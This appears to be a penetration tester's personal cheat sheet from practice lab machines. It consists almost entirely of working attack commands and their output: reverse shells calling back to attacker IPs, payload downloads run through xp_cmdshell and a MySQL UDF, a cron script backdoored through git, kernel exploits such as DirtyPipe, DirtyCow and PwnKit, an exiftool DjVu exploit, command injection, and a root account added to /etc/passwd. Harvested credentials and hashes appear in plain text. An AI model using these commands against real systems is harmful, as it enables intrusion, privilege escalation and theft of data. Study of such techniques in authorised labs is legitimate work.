Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.203.254
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.93.141
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Via Computer A we pivot to Computer B (internal IP) with these creds
proxychains evil-winrm -u celia.almeda -p 7k8XHk3dMtmpnC7 -i 10.10.93.142
*Evil-WinRM* PS C:\windows.old\Windows\system32> net use * \\10.10.93.141\C$ /user:Admin password123
*Evil-WinRM* PS C:\windows.old\Windows\system32> xcopy C:\windows.old\Windows\system32\SYSTEM Z:\
*Evil-WinRM* PS C:\windows.old\Windows\system32> xcopy C:\windows.old\Windows\system32\SAM Z:\
impacket-smbserver -smb2support Share .
smbserver.py -smb2support Share .
mkdir loot #transfering loot to this folder
net use * \\192.168.119.183\share
copy Z:\<file you want from kali>
copy C:\bank-account.zip Z:\loot #Transfer files to the loot folder on your kali machine
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
impacket-smbserver -username df -password df share . -smb2support
net use \\10.10.16.9\share /u:df df
copy \\10.10.16.9\share\<file wanted>
cat upload.php
chmod +x upload.php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
sudo mkdir /var/www/uploads
mv upload.php /var/www/uploads
service apache2 start
ps -ef | grep apache
powershell (New-Object System.Net.WebClient).UploadFile('http://<your Kali ip>/upload.php', '<file you want to transfer>')
service apache2 stop
https://sirensecurity.io/blog/linux-privilege-escalation-resources/
/opt #lead us to chloe which lead us to root
find / -type d -writable -user $(whoami) 2>/dev/null
find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
find / -perm /4000 2>/dev/null
/usr/sbin/start-stop-daemon
/usr/sbin/start-stop-daemon -n foo -S -x /bin/sh -- -p
cat /etc/crontab
cat /etc/exports
cp /opt/PowerUp/PowerUp.ps1 .
Import-Module .\PowerUp.ps1
. .\PowerUp.ps1
sudo apt install windows-binaries
# Basics
systeminfo
hostname
# Who am I?
whoami
echo %username%
# What users/localgroups are on the machine?
net users
net localgroups
# More info about a specific user. Check if user has privileges.
net user user1
# View Domain Groups
net group /domain
# View Members of Domain Group
net group /domain <Group Name>
# Firewall
netsh firewall show state
netsh firewall show config
# Network
ipconfig /all
route print
arp -A
# How well patched is the system?
wmic qfe get Caption,Description,HotFixID,InstalledOn
dir /a-r-d /s /b
move "C:\Inetpub\wwwroot\winPEASx86.exe" "C:\Directory\thatisWritable\winPEASx86.exe"
accesschk.exe /accepteula -uwcqv "Authenticated Users" * #command refer to exploits below
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*
# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
dir /s /p proof.txt
dir /s /p local.txt
C:\Users\damon> type .gitconfig
[safe]
directory = C:/prod
[user]
email = damian
name = damian
C:\Users\damon> cd C:/prod
C:\prod> git log
fatal: detected dubious ownership in repository at 'C:/prod'
'C:/prod/.git' is owned by:
'S-1-5-21-464543310-226837244-3834982083-1003'
but the current user is:
'S-1-5-18'
To add an exception for this directory, call:
git config --global --add safe.directory C:/prod
C:\prod> git config --global --add safe.directory C:/prod
C:\prod> git log
commit 8b430c17c16e6c0515e49c4eafdd129f719fde74
Author: damian <damian>
Date: Thu Oct 20 02:07:42 2022 -0700
Email config not required anymore
commit 967fa71c359fffcbeb7e2b72b27a321612e3ad11
Author: damian <damian>
Date: Thu Oct 20 02:06:37 2022 -0700
V1
C:\prod> git show
commit 8b430c17c16e6c0515e49c4eafdd129f719fde74
Author: damian <damian>
Date: Thu Oct 20 02:07:42 2022 -0700
Email config not required anymore
diff --git a/htdocs/cms/data/email.conf.bak b/htdocs/cms/data/email.conf.bak
deleted file mode 100644
index 77e370c..0000000
--- a/htdocs/cms/data/email.conf.bak
+++ /dev/null
@@ -1,5 +0,0 @@
-Email configuration of the CMS
[email protected]:DPuBT9tGCBrTbR
-
-If something breaks contact [email protected] as he is responsible for the mail server.
-Please don't send any office or executable attachments as they get filtered out for security reasons.
\ No newline at end of file
PS C:\> (Get-PSReadlineOption).HistorySavePath
C:\Users\USERA\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\USERA\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
echo "Let's check if this script works running as damon and password i6yuT6tym@"
echo "Don't forget to clear history once done to remove the password!"
Enter-PSSession -ComputerName LEGACY -Credential $credshutdown /s
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
type C:\xampp\passwords.txt
Get-ChildItem -Path C:\Users\USERD\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
cat Desktop\asdf.txt
which python
which python2
which python3
python -c ‘import pty; pty.spawn(“/bin/bash”)’
which socat
socat file:`tty`,raw,echo=0 tcp-listen:4444 #On Kali Machine
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.49.71:4444 #On Victim Machine
Command 'ls' is available in '/bin/ls'
export PATH=$PATH:/bin
The command could not be located because '/usr/bin' is not included in the PATH environment variable.
export PATH=$PATH:/usr/bin
-rbash: $'\r': command not found
BASH_CMDS[a]=/bin/sh;a
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 #worked
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your $IP",22));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' #worked
nc -nlvp 9001
.\nc.exe <your kali IP> 9001 -e cmd
C:\Inetpub\wwwroot\nc.exe -nv 192.168.119.140 80 -e C:\WINDOWS\System32\cmd.exe
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .
echo "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444" >> Invoke-PowerShellTcp.ps1
powershell -executionpolicy bypass -file Invoke-PowerShellTcp.ps1 #Once on victim run this
https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/pivoting-basics/
ps aux | grep ssh
kill (enter pid #)
sshuttle -r [email protected] 10.1.1.0/24 #run on your kali machine to proxy traffic into the IT Network
#In this situation we have rooted a linux machine got user creds and can establish an sshuttle
#You can visit the next network as normal and enumerate it as normal.
#best used for everything else but nmap
sshuttle -r [email protected] 10.1.1.0/24 #1 Port Foward to our machine
python3 -m http.server 800 # on our kali machine
ssh [email protected] curl http://192.168.119.140:800/linpeas.sh -o /tmp/linpeas.sh #2 on our kali machine to dowload files
sudo echo "socks4 127.0.0.1 80" >> /etc/proxychains.conf
[7:06 PM]
ssh -NfD 80 [email protected] 10.1.1.0/24
[7:07 PM]
proxychains nmap -p- --min-rate=1000 10.1.1.27 -Pn #best used for nmap only
proxychains nmap -sT --top-ports 1000 --min-rate=1000 -Pn 10.1.1.68 -v # better scan
proxychains nmap -A -sT -p445 -Pn 10.1.1.68 # direct scans of ports this is best used when enumerating each port
In local port forwarding, you are forwarding a port on your local machine to a remote machine. This means that when you connect to a remote server using SSH and set up local port forwarding, any traffic sent to the specified local port will be forwarded over the SSH connection to the remote machine and then forwarded to the target service or application.
ssh -L 6070:127.0.0.1:2049 [email protected] -N
This command creates an SSH tunnel between your local computer and a remote computer at IP address 10.1.1.27, with the user "userc". The tunnel forwards all traffic sent to port 6070 on your local computer to port 2049 on the remote computer, which is only accessible via localhost (127.0.0.1). The "-N" flag tells SSH to not execute any commands after establishing the connection, so it will just stay open and forward traffic until you manually terminate it. This is commonly used for securely accessing network services that are not directly accessible outside of a certain network or firewall.
#notes we did not use proxychains on this. just as the setup was above
Lets say you have compromised host 192.168.236.147 which has access to 10.10.126.148, you could access the mssql server on port 1433 locally by doing a local port forward as seen below. This will essence allow you to access to the mssql port on your local machine with out needing proxychains.
ssh -L 1433:10.10.126.148:1433 [email protected] -N
sqsh -S 127.0.0.1 -U example.com\\sql_service -P password123 -D msdb
In this example we are 192.168.45.191 attacking an AD exploit chain with internal/private IPs. We are able to get sql_service creds on MS01 which can be used to login into MS02, once we login we cannot download any files or do any rce's so we have to setup a bi-directional ssh tunnel.
sudo impacket-psexec Admin:[email protected] cmd.exe
We are using the arp -a on MS01 to show where we got some of the IPs, internal and external facing when going through this exploit chain.
C:\Windows\system32> arp -a
Interface: 192.168.236.147 --- 0x6
Internet Address Physical Address Type
192.168.236.254 00-50-56-bf-dd-5e dynamic
192.168.236.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
Interface: 10.10.126.147 --- 0x8
Internet Address Physical Address Type
10.10.126.146 00-50-56-bf-27-a8 dynamic
10.10.126.148 00-50-56-bf-f9-55 dynamic
10.10.126.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
Sets up local port forwarding. It instructs SSH to listen on port 1433 on the local machine and forward any incoming traffic to the destination IP address 10.10.126.148 on port 1433. [email protected]: Specifies the username (Admin) and the IP address (192.168.236.147) of the remote server to establish the SSH connection with.
ssh -L 1433:10.10.126.148:1433 [email protected] -N
In our next command we are able to login as the sql_service on 10.10.126.148 (MS02) as if we were 192.168.236.147 (MS01)
sqsh -S 127.0.0.1 -U example.com\\sql_service -P password123 -D msdb
-R 10.10.126.147:7781:192.168.45.191:18890: Sets up reverse port forwarding. It instructs SSH to listen on IP 10.10.126.147 and port 7781 on the remote server, and any incoming traffic received on this port should be forwarded to the IP 192.168.45.191 and port 18890.
[email protected]: Specifies the username (Admin) and the IP address (192.168.236.147) of the remote server to establish the SSH connection with.
sudo ssh -R 10.10.126.147:7781:192.168.45.191:18890 [email protected] -N
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.126.147 LPORT=7781 EXITFUNC=thread -f exe --platform windows -o rshell.exe
1> xp_cmdshell 'whoami'
nt service\mssql$sqlexpress
1> xp_cmdshell 'powershell "Invoke-WebRequest -Uri http://10.10.126.147:7781/rshell.exe -OutFile c:\Users\Public\reverse.exe"'
python3 -m http.server 18890
Serving HTTP on 0.0.0.0 port 18890 (http://0.0.0.0:18890/) ...
192.168.45.191 - - [30/May/2023 22:05:32] "GET /rshell.exe HTTP/1.1" 200 -
1> xp_cmdshell 'c:\Users\Public\reverse.exe"'
nc -nlvp 18890
retrying local 0.0.0.0:18890 : Address already in use
retrying local 0.0.0.0:18890 : Address already in use
listening on [any] 18890 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.45.191] 37446
Microsoft Windows [Version 10.0.19042.1586]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt service\mssql$sqlexpress
https://github.com/jpillora/chisel/releases/ #where you can find newer versions
https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_windows_386.gz #Windows Client
cp /home/kali/Downloads/chisel_1.8.1_windows_386.gz .
gunzip -d *.gz
chmod +x chisel_1.8.1_windows_386
mv chisel_1.8.1_windows_386 chisel.exe
locate chisel
/usr/bin/chisel #Linux Server
chisel server --port 8000 --socks5 --reverse #On your kali machine
vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 8080
socks5 127.0.0.1 1080
certutil -urlcache -split -f http://<your $IP>:<Your Porty>/chisel.exe
.\chisel client <your IP>:8000 R:socks #On victim machine
proxychains psexec.py victim:password@<victim $IP> cmd.exe
sudo apt-get install gcc-multilib
sudo apt-get install libx11-dev:i386 libx11-dev
gcc 624.c -m32 -o exploit
In this priv esc scenario we logged in via ssg, found that a cron job was running bash file with root privs. We could git clone that same repo with the private key we find in user gits ssh folder and edit the bash file to give us a rce as root.
/var/spool/anacron:
total 20
drwxr-xr-x 2 root root 4096 Nov 6 2020 .
drwxr-xr-x 6 root root 4096 Nov 6 2020 ..
-rw------- 1 root root 9 Jan 23 10:34 cron.daily
-rw------- 1 root root 9 May 28 02:19 cron.monthly
-rw------- 1 root root 9 May 28 02:19 cron.weekly
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh
-rwxr-xr-x 1 root root 2590 Nov 5 2020 /home/git/.ssh/id_rsa
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone [email protected]:/git-server
cd git-server
cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#
cat backups.sh
#!/bin/bash
sh -i >& /dev/tcp/192.168.45.191/18030 0>&1
chmod +x backups.sh
GIT_SSH_COMMAND='ssh -i /home/kali/Documents/PG/userD/id_rsa -p 43022' git status
On branch master
Your branch is up to date with 'origin/master'.
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: backups.sh
no changes added to commit (use "git add" and/or "git commit -a")
git config --global user.name "git"
git config --global user.email "git@userD" #User is the same from the private key git@
GIT_SSH_COMMAND='ssh -i /home/kali/Documents/PG/userD/id_rsa -p 43022' git add --all
IT_SSH_COMMAND='ssh -i /home/kali/Documents/PG/userD/id_rsa -p 43022' git commit -m "PE Commit"
[master 872aa26] Commit message
1 file changed, 1 insertion(+), 4 deletions(-)
GIT_SSH_COMMAND='ssh -i /home/kali/Documents/PG/userD/id_rsa -p 43022' git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 3 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 294 bytes | 147.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To 192.168.214.125:/git-server
b50f4e5..872aa26 master -> master
nc -nlvp 18030
listening on [any] 18030 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.214.125] 48038
sh: cannot set terminal process group (15929): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.0# id
id
uid=0(root) gid=0(root) groups=0(root)
sh-5.0#
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root bash /opt/image-exif.sh
www-data@exfiltrated:/opt$ cat image-exif.sh
cat image-exif.sh
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata
echo -ne "\\n metadata directory cleaned! \\n\\n"
IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"
echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename;
do
exiftool "$IMAGES/$filename" >> $LOGFILE
done
echo -ne "\\n\\n Processing is finished! \\n\\n\\n"
sudo apt-get install -y djvulibre-bin
wget -qO sample.jpg placekitten.com/200
file sample.jpg
printf 'P1 1 1 1' > input.pbm
cjb2 input.pbm mask.djvu
djvumake exploit.djvu Sjbz=mask.djvu
echo -e '(metadata (copyright "\\\n" . `chmod +s /bin/bash` #"))' > input.txt
djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg
www-data@exfiltrated:/var/www/html/subrion/uploads$ wget http://192.168.45.191:80/exploit.jpg
www-data@exfiltrated:/var/www/html/subrion/uploads$ ls -l /bin/bash
ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
www-data@exfiltrated:/var/www/html/subrion/uploads$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
www-data@exfiltrated:/var/www/html/subrion/uploads$ /bin/bash -p
/bin/bash -p
bash-5.0# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
https://github.com/DominicBreuker/pspy
/opt/pspy/pspy64 #transfer over to victim
chmod +x pspy64
./pspy64 -pf -i 1000
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp LISTEN 0 128 0.0.0.0:2222 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 128 [::]:2222 [::]:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 511 *:443 *:*
ssh -i id_ecdsa [email protected] -p 2222 -L 8000:localhost:8000 -N
curl 127.0.0.1:8000
127.0.0.1:8000/backend/?view=../../../../../etc/passwd
127.0.0.1:8000/backend/?view=../../../../../var/crash/test.php&cmd=id
root 852 0.0 3.9 2536668 80252 ? Ssl May16 0:04 java -Xdebug Xrunjdwp:transport=dt_socket,address=8000,server=y /opt/stats/App.java
dev@example:/opt/stats$ cat App.java
cat App.java
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
class StatsApp {
public static void main(String[] args) {
System.out.println("System Stats\n");
Runtime rt = Runtime.getRuntime();
String output = new String();
try {
ServerSocket echod = new ServerSocket(5000);
while (true) {
output = "";
output += "Available Processors: " + rt.availableProcessors() +"\r\n";
output += "Free Memory: " + rt.freeMemory() + "\r\n";
output += "Total Memory: " + rt.totalMemory() +"\r\n";
Socket socket = echod.accept();
InputStream in = socket.getInputStream();
OutputStream out = socket.getOutputStream();
out.write((output + "\r\n").getBytes());
System.out.println(output);
}
} catch (IOException e) {
System.err.println(e.toString());
System.exit(1);
}
}
}
https://github.com/IOActive/jdwp-shellifier
proxychains python2 jdwp-shellifier.py -t 127.0.0.1
nc -nv 192.168.234.150 5000 #this port runs on the app.java, do this to trigger it
proxychains python2 jdwp-shellifier.py -t 127.0.0.1 --cmd "busybox nc 192.168.45.191 80 -e sh"
nc -nv 192.168.234.150 5000 #to trigger alert
nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.234.150] 59382
id
uid=0(root) gid=0(root)
git clone https://github.com/Al1ex/CVE-2022-0847.git
cd CVE-2022-0847
python3 -m http.server 80
wget http://192.168.45.191:80/exp
chmod +x exp
cp /etc/passwd /tmp/passwd.bak
USERZ@example:~$ ./exp /etc/passwd 1 ootz:
It worked!
USERZ@example:~$ su rootz
rootz@example:/home/USERZ# whoami
rootz
rootz@example:/home/USERZ# id
uid=0(rootz) gid=0(root) groups=0(root)
wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py
chmod +x exploit_nss.py
userE@example01:~$ id
uid=1004(userE) gid=1004(userE) groups=1004(userE),998(apache)
userE@example01:~$ python3 exploit_nss.py
# whoami
root
git clone https://github.com/Markakd/CVE-2022-2588.git
wget http://192.168.119.140/exp_file_credential
chmod +x exp_file_credential
./exp_file_credential
su user
Password: user
id
uid=0(user) gid=0(root) groups=0(root)
https://github.com/firefart/dirtycow
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
uname -a
Linux humble 3.2.0-4-486 #1 Debian 3.2.78-1 i686 GNU/Linux
gcc -pthread dirty.c -o dirty -lcrypt
gcc: error trying to exec 'cc1': execvp: No such file or directory
locate cc1
export PATH=$PATH:/usr/lib/gcc/i486-linux-gnu/4.7/cc1
./dirty
su firefart
uname -a
Linux phoenix 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686 athlon i386 GNU/Linux
bash-3.00$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ ./exp
./exp
sh-3.00# id
id
uid=0(root) gid=0(root) groups=48(apache)
https://github.com/MrG3tty/Linux-2.6.9-Kernel-Exploit
uname -a
Linux dotty 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
https://github.com/ly4k/PwnKit/blob/main/PwnKit.sh
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit || exit #local
chmod +x PwnKit #local
./PwnKit #Victim Machine
wget https://raw.githubusercontent.com/jamesammond/CVE-2021-4034/main/CVE-2021-4034.py
wget https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/memodipper/memodipper.c
gcc memodipper.c -o memodipper #compile on the target not kali
Files created via NFS inherit the remote user’s ID. If the user is root, and root squashing is enabled, the ID will instead be set to the “nobody” user.
Notice that the /srv share has root squashing disabled. Because of this, on our local machine we can create a mount point and mount the /srv share.
-bash-4.2$ cat /etc/exports
/srv/Share 10.1.1.0/24(insecure,rw)
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
"no_root_squash"
sshuttle -r [email protected] 10.1.1.0/24 #setup
ssh -L 6070:127.0.0.1:2049 [email protected] -N #tunnel for 127.0.0.1 /srv/Share
mkdir /mnt/tmp
scp [email protected]:/bin/bash . #copy over a reliable version of bash from the victim
chown root:root bash; chmod +s bash #change ownership and set sticky bit
ssh [email protected] #login to victim computer
cd /srv/Share
ls -la #check for sticky bit
./bash -p #how to execute with stick bit
whoami
root:$1$uF5XC.Im$8k0Gkw4wYaZkNzuOuySIx/:16902:0:99999:7::: vcsa:!!:15422:0:99999:7:::
pcap:!!:15422:0:99999:7:::
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-r--r-- 1 www-data www-data 3896 Mar 31 07:56 /var/www/html/management/application/config/database.php
| ['password'] The password used to connect to the database
| ['database'] The name of the database you want to connect to
'password' => '@jCma4s8ZM<?kA',
'database' => 'school_mgment',
<cation/config$ mysql -u 'school' -p 'school_mgment'
Enter password: @jCma4s8ZM<?kA
mysql> show databases;
mysql> show tables;
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| school_mgment |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> select * from teacher\G
select * from teacher\G
*************************** 1. row ***************************
teacher_id: 1
name: Testing Teacher
role: 1
teacher_number: f82e5cc
birthday: 2018-08-19
sex: male
religion: Christianity
blood_group: B+
address: 546787, Kertz shopping complext, Silicon Valley, United State of America, New York city.
phone: +912345667
email: [email protected]
facebook: facebook
twitter: twitter
googleplus: googleplus
linkedin: linkedin
qualification: PhD
marital_status: Married
file_name: profile.png
password: 3db12170ff3e811db10a76eadd9e9986e3c1a5b7
department_id: 2
designation_id: 4
date_of_joining: 2019-09-15
joining_salary: 5000
status: 1
date_of_leaving: 2019-09-18
bank_id: 3
login_status: 0
1 row in set (0.00 sec)
port 0.0.0.0:3306 open internally
users with console mysql/bin/bash
MySQL connection using root/NOPASS Yes
your $IP>wget https://raw.githubusercontent.com/1N3/PrivEsc/master/mysql/raptor_udf2.c
victim>gcc -g -c raptor_udf2.c
victim>gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
victim>mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/j0hn/script/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
your $IP> cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php shell.php
nc -nvlp 443
mysql> select do_system('wget http://192.168.119.184/shell.php -O /tmp/shell.php;php /tmp/shell.php');
sh-3.2# id
uid=0(root) gid=0(root)
sudo su -
root@example01:~# whoami
root
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz * -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
(ALL) NOPASSWD: /usr/bin/borg list *
(ALL) NOPASSWD: /usr/bin/borg mount *
(ALL) NOPASSWD: /usr/bin/borg extract *
find -name / "*borg*"
/opt/borgbackup
./pspy64 -pf -i 1000
BORG_PASSPHRASE='xinyVzoH2AnJpRK9sfMgBA'
sarah@backup:/opt$ sudo /usr/bin/borg list *
(name of archive) (data & time) (hash of archive)
sarah@backup:/opt$ sudo /usr/bin/borg extract borgbackup::home
sudo /usr/bin/borg extract [folder that is writable]::[name of archive]
sarah@backup:/opt$ sudo /usr/bin/borg extract --stdout borgbackup::home
mesg n 2> /dev/null || true
sshpass -p "Rb9kNokjDsjYyH" rsync [email protected]:/etc/ /opt/backup/etc/
{
"user": "amy",
"pass": "0814b6b7f0de51ecf54ca5b6e6e612bf"
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
# id
uid=0(root) gid=0(root) groups=0(root)
bash-3.2$ id
id
uid=100(asterisk) gid=101(asterisk)
bash-3.2$ sudo nmap --interactive
sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
observer@prostore:~$ /usr/local/bin/log_reader
/usr/local/bin/log_reader
Usage: /usr/local/bin/log_reader filename.log
observer@prostore:~$ /usr/local/bin/log_reader /var/log/auth.log
/usr/local/bin/log_reader /var/log/auth.log
Reading: /var/log/auth.log
May 25 22:47:00 prostore VGAuth[738]: vmtoolsd: Username and password successfully validated for 'root'.
observer@prostore:~$ /usr/local/bin/log_reader "/var/log/auth.log;chmod u+s /bin/bash"
</log_reader "/var/log/auth.log;chmod u+s /bin/bash"
Reading: /var/log/auth.log;chmod u+s /bin/bash
May 25 22:47:00 prostore VGAuth[738]: vmtoolsd: Username and password successfully validated for 'root'.
observer@prostore:~$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
bash-5.1$ /bin/bash -p
/bin/bash -p
bash-5.1# id
id
uid=1000(observer) gid=1000(observer) euid=0(root) groups=1000(observer)
bash-5.1# cd /root
cd /root
bash-5.1# cat proof.txt
cat proof.txt
3a7df0bf25481b398003f325d6250ba7
find . -exec /bin/sh -p \; -quit
# id
id
uid=106(postgres) gid=113(postgres) euid=0(root) groups=113(postgres),112(ssl-cert)
DOSBox version 0.74-3
export LFILE='/etc/sudoers'
dosbox -c 'mount c /' -c "echo Sarge ALL=(root) NOPASSWD: ALL >>c:$LFILE"
DOSBox version 0.74-3
Copyright 2002-2019 DOSBox Team, published under GNU GPL.
---
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4743:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4743:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4743:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory
ALSA lib conf.c:5231:(snd_config_expand) Evaluate error: No such file or directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM default
CONFIG:Loading primary settings from config file /home/Sarge/.dosbox/dosbox-0.74-3.conf
MIXER:Can't open audio: No available audio device , running in nosound mode.
ALSA:Can't subscribe to MIDI port (65:0) nor (17:0)
MIDI:Opened device:none
SHELL:Redirect output to c:/etc/sudoers
[Sarge@example ~]$ sudo -l
Runas and Command-specific defaults for Sarge:
Defaults!/etc/ctdb/statd-callout !requiretty
User Sarge may run the following commands on example:
(root) NOPASSWD: ALL
[Sarge@example ~]$ sudo su
[root@example Sarge]# whoami
root
find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
cat /etc/passwd #copy the contents of this file your kali machine
root:x:0:0:root:/root:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
openssl passwd -1 -salt ignite pass123
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
echo 'hacker:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> passwd
cat passwd
root:x:0:0:root:/root:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
hacker:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
python3 -m http.server #Host the new passwd file
